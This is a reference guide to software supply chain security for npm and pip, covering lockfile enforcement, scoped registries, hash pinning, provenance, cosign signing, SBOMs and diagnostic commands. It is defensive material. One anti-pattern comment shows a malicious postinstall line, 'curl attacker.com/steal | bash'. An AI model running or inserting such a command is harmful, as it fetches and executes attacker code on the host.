Software Supply Chain Security: npm, pip, and Beyond

Type: Software Reference Confidence: 0.93 Sources: 8 Verified: 2026-02-27 Freshness: 2026-02-27

TL;DR

Constraints

Quick Reference

Supply Chain Threat/Mitigation Matrix

#ThreatRisk LevelAttack VectorMitigation
1TyposquattingHighAttacker publishes lod-ash mimicking lodashVerify exact package name; use npm audit signatures; check OpenSSF Scorecard
2Dependency confusionCriticalPublic package with same name as internal pkg, higher versionScope private packages (@org/pkg); configure registry per-scope in .npmrc
3Compromised maintainerCriticalAttacker gains access to maintainer npm/PyPI accountEnable 2FA on registry accounts; use Trusted Publishers (PyPI); review provenance
4Malicious lifecycle scriptsHighpostinstall script exfiltrates env vars or installs backdoor--ignore-scripts globally; allowlist in .npmrc
5Lockfile manipulationHighPR changes lockfile to point to malicious registry/tarballUse lockfile-lint; review lockfile diffs; npm ci validates integrity
6Compromised build pipelineCriticalCI/CD credentials stolen, build artifacts replacedSLSA L3 provenance; isolated build environments; signed artifacts
7Abandoned packagesMediumKnown CVEs never patched in transitive dependencyOpenSSF Scorecard checks; npm audit; Dependabot/Renovate alerts
8SBOM gapsMediumUnable to respond to new CVE across your dependency treeGenerate CycloneDX/SPDX SBOM in CI; store and update with each release
9Protestware/self-sabotageMediumMaintainer intentionally breaks own package (colors.js, node-ipc)Pin exact versions; review changelogs; use cooldown windows
10Registry/CDN compromiseLownpm registry or CDN serves tampered packagesVerify package signatures; npm audit signatures; compare hashes

Decision Tree

START: What is your primary supply chain concern?
├── Preventing malicious package installs?
│   ├── Using npm?
│   │   ├── YES → Pin versions + npm ci + --ignore-scripts + lockfile-lint
│   │   └── NO ↓
│   ├── Using pip/poetry?
│   │   ├── YES → pip-compile --generate-hashes + --require-hashes
│   │   └── NO ↓
│   └── Go/Cargo/other → Use native lockfile + checksum verification
│
├── Need artifact signing and verification?
│   ├── Container images?
│   │   ├── YES → Sigstore cosign sign + verify
│   │   └── NO ↓
│   └── npm packages → npm provenance (SLSA + Sigstore)
│
├── Need compliance (SLSA/NIST)?
│   ├── SLSA Level 1 → Generate provenance metadata
│   ├── SLSA Level 2 → Signed provenance from hosted CI
│   └── SLSA Level 3 → Isolated build + non-forgeable provenance
│
├── Need dependency inventory?
│   └── YES → Generate CycloneDX or SPDX SBOM in CI
│
└── DEFAULT → Start with lockfile pinning + npm audit + OpenSSF Scorecard

Step-by-Step Guide

1. Configure deterministic installs with lockfile enforcement

Use npm ci in CI/CD instead of npm install. It deletes node_modules/ and installs exactly what the lockfile specifies, failing on mismatch. [src4]

# .npmrc -- project-level configuration
ignore-scripts=true
engine-strict=true
package-lock=true
audit-level=moderate

# CI install command (never npm install)
npm ci --ignore-scripts

Verify: npm ci should exit 0 with no lockfile mismatch warnings. Run npm ls --all to confirm dependency tree matches lockfile.

2. Prevent dependency confusion with scoped packages

Configure npm to resolve private scopes from your internal registry, preventing public registry substitution. [src4]

# .npmrc -- scope-to-registry mapping
@mycompany:registry=https://npm.mycompany.com/
//npm.mycompany.com/:_authToken=${NPM_PRIVATE_TOKEN}
package-lock=true

Verify: npm config get @mycompany:registry should return your private registry URL.

3. Pin Python dependencies with hash verification

Use pip-compile (from pip-tools) to generate a requirements file with SHA256 hashes. [src5]

# Generate requirements.txt with hashes
pip-compile --generate-hashes --output-file=requirements.txt requirements.in

# Install with hash verification
pip install --require-hashes --no-deps -r requirements.txt

Verify: Modify any hash in requirements.txt -- pip install --require-hashes should fail with hash mismatch error.

4. Enable npm provenance with SLSA attestations

npm provenance uses Sigstore to cryptographically link published packages to their source repo and build. [src1]

# .github/workflows/publish.yml
name: Publish
on:
  release:
    types: [published]
permissions:
  contents: read
  id-token: write
jobs:
  publish:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          registry-url: https://registry.npmjs.org
      - run: npm ci
      - run: npm publish --provenance --access public
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

Verify: npm audit signatures on the published package should show "verified registry signatures".

5. Sign and verify container images with cosign

Cosign provides keyless signing using OIDC identity from CI providers. No key management required. [src2]

# Sign a container image (keyless)
cosign sign ghcr.io/myorg/myapp:v1.2.3

# Verify a signed image
cosign verify \
  --certificate-identity=https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3 \
  --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ghcr.io/myorg/myapp:v1.2.3

Verify: cosign verify should print verification confirmation with no errors.

6. Generate SBOM with CycloneDX

Generate a Software Bill of Materials in CycloneDX format as part of your CI pipeline. [src8]

# npm: generate CycloneDX SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# Python: generate CycloneDX SBOM
pip install cyclonedx-bom
cyclonedx-py environment --output sbom.json

Verify: sbom.json should contain a components array listing all dependencies with version, purl, and hash information.

7. Evaluate dependencies with OpenSSF Scorecard

Run Scorecard against dependencies to assess their security posture before adoption. [src6]

# Score a specific repository
scorecard --repo=github.com/expressjs/express

Verify: Output should show scores (0-10) for checks like Branch-Protection, Signed-Releases, Token-Permissions, and Vulnerabilities.

Code Examples

npm: Complete .npmrc Security Configuration

# .npmrc -- project root (commit to repo)
package-lock=true
ignore-scripts=true
save-exact=true
audit-level=moderate
@mycompany:registry=https://npm.mycompany.com/
engine-strict=true

Python: Secure pip Configuration with Hash Pinning

# pip.conf
[global]
require-hashes = true
no-deps = true

[install]
index-url = https://pypi.org/simple/
extra-index-url =
trusted-host =

GitHub Actions: SLSA Provenance Generator

# .github/workflows/slsa-provenance.yml
name: SLSA Go Releaser
on:
  release:
    types: [published]
permissions: read-all
jobs:
  build:
    permissions:
      id-token: write
      contents: write
      actions: read
    uses: slsa-framework/slsa-github-generator/.github/workflows/[email protected]
    with:
      go-version: "1.22"

Kyverno: Enforce Cosign-Signed Images in Kubernetes

# Kyverno policy to enforce signed images
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  rules:
    - name: verify-cosign-signature
      match:
        any:
          - resources:
              kinds: ["Pod"]
      verifyImages:
        - imageReferences: ["ghcr.io/myorg/*"]
          attestors:
            - entries:
                - keyless:
                    subject: "https://github.com/myorg/*"
                    issuer: "https://token.actions.githubusercontent.com"

Anti-Patterns

Wrong: Using floating version ranges in production

// BAD -- ^ and ~ allow automatic minor/patch upgrades
// A compromised patch release gets installed automatically
{
  "dependencies": {
    "express": "^4.18.0",
    "lodash": "~4.17.0",
    "axios": "*"
  }
}

Correct: Pin exact versions with lockfile enforcement

// GOOD -- exact versions + npm ci enforces lockfile
{
  "dependencies": {
    "express": "4.18.2",
    "lodash": "4.17.21",
    "axios": "1.6.7"
  }
}

Wrong: Internal packages without scoping

// BAD -- unscoped private package name can be hijacked
// Attacker publishes "[email protected]" to public npm
{
  "name": "my-internal-utils",
  "version": "1.0.0"
}

Correct: Scoped packages with registry mapping

// GOOD -- scoped package with .npmrc registry mapping
{
  "name": "@mycompany/internal-utils",
  "version": "1.0.0",
  "private": true
}

Wrong: pip install without hash verification

# BAD -- no integrity verification
pip install requests flask sqlalchemy

Correct: Hash-pinned requirements with --require-hashes

# GOOD -- every package verified against pre-computed hash
pip install --require-hashes --no-deps -r requirements.txt

Wrong: Allowing all lifecycle scripts

# BAD -- postinstall scripts can execute arbitrary code
npm install some-package
# The package's postinstall script runs: curl attacker.com/steal | bash

Correct: Disabling scripts globally with explicit allowlist

# .npmrc -- disable scripts by default
ignore-scripts=true

Common Pitfalls

Diagnostic Commands

# Audit npm packages for known vulnerabilities
npm audit

# Verify npm registry signatures (provenance)
npm audit signatures

# List full dependency tree
npm ls --all

# Validate lockfile integrity and registry sources
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-https

# Check OpenSSF Scorecard for a dependency
scorecard --repo=github.com/expressjs/express --format=json

# Generate CycloneDX SBOM
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# Python: audit packages for vulnerabilities
pip-audit

# Verify container image signature with cosign
cosign verify --certificate-oidc-issuer=https://token.actions.githubusercontent.com \
  ghcr.io/myorg/myapp:latest

# Scan SBOM for vulnerabilities with grype
grype sbom:./sbom.json

Version History & Compatibility

Standard/ToolVersionStatusKey Feature
SLSAv1.0Current (2023)Build Track L0-L3, provenance specification
SLSAv1.1Draft (2024)Source Track (under development)
npm provenanceGACurrent (npm 9.5+)Sigstore-based package provenance on publish
Sigstore/cosign2.xCurrentKeyless signing, Rekor transparency log
CycloneDX1.6Current (2024)CBOM, MBOM, attestation support
SPDX2.3 / 3.02.3 stable, 3.0 draftLicense compliance + security use cases
OpenSSF Scorecard5.xCurrent18 automated security checks
PyPI Trusted PublishersGACurrent (2023)OIDC keyless publishing from CI
pip --require-hashesGACurrent (pip 8+)SHA256 hash verification on install
npm audit signaturesGACurrent (npm 9.5+)Registry signature verification

When to Use / When Not to Use

Use WhenDon't Use WhenUse Instead
Building any production application with external dependenciesInternal-only code with zero third-party dependenciesBasic code review suffices
Publishing packages to npm, PyPI, or container registriesPrototyping with no deployment pipelineMinimal lockfile pinning may suffice
Required by compliance (NIST, EO 14028, SOC 2)Personal learning projects with no sensitive dataFocus on learning the tools first
Operating CI/CD pipelines that produce deployable artifactsManual builds on a single trusted developer machineManual verification may be acceptable
Maintaining open source projects consumed by othersPrivate fork with no downstream consumersInternal-only security measures

Important Caveats

Related Units